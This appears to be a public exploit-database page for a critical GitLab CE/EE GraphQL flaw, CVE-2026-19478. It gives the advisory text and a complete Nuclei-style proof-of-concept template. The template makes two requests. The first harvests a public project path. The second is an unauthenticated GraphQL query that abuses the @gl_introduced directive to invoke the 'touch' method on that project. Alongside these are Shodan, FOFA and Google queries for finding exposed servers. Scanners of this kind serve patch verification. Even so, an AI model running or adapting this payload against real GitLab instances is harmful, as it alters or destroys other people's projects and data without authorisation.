CVE-2026-19478: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation

2026-08-19 GitLab CE EE PoC Public

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.

PoC

id: CVE-2026-19478

info:
  name: GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
  author: 0x_Akoko,DhiyaneshDk
  severity: critical
  description: |
    GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.
  impact: |
    An unauthenticated attacker can remotely modify or delete public projects and user data via arbitrary method invocation
    through a crafted GraphQL query.
  remediation: |
    Upgrade GitLab to version 18.11.11, 19.0.8, 19.1.6, or 19.2.4 or later.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-19478
    - https://github.com/davkharrr/CVE-2026-19478-PoC
    - https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
    - https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2026-19478
    epss-score: 0.05811
    epss-percentile: 0.92751
    cwe-id: CWE-94
  metadata:
    max-request: 2
    verified: true
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve,cve2026,gitlab,graphql,code-injection,unauth,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v4/projects?visibility=public&per_page=1"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'path_with_namespace')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: project_path
        group: 1
        regex:
          - '"path_with_namespace"\s*:\s*"([^"]+)"'
        internal: true

  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query { project(fullPath: \"{{project_path}}\") { name touch @gl_introduced(version: \"999.0.0\") } }"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "doesn't exist on type"
        negative: true

      - type: regex
        part: body
        regex:
          - '"touch"\s*:\s*true'

    extractors:
      - type: json
        json:
          - '.data.project.name'
# digest: 490a00463044022070f1d3baaddc020da35aca6caf230234540734f4eba587767602a4f7ca849c5a022011a3fbfb61718731744f9bfc19b015b2d8c73ea1f67fade6bf66e0029256db5e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities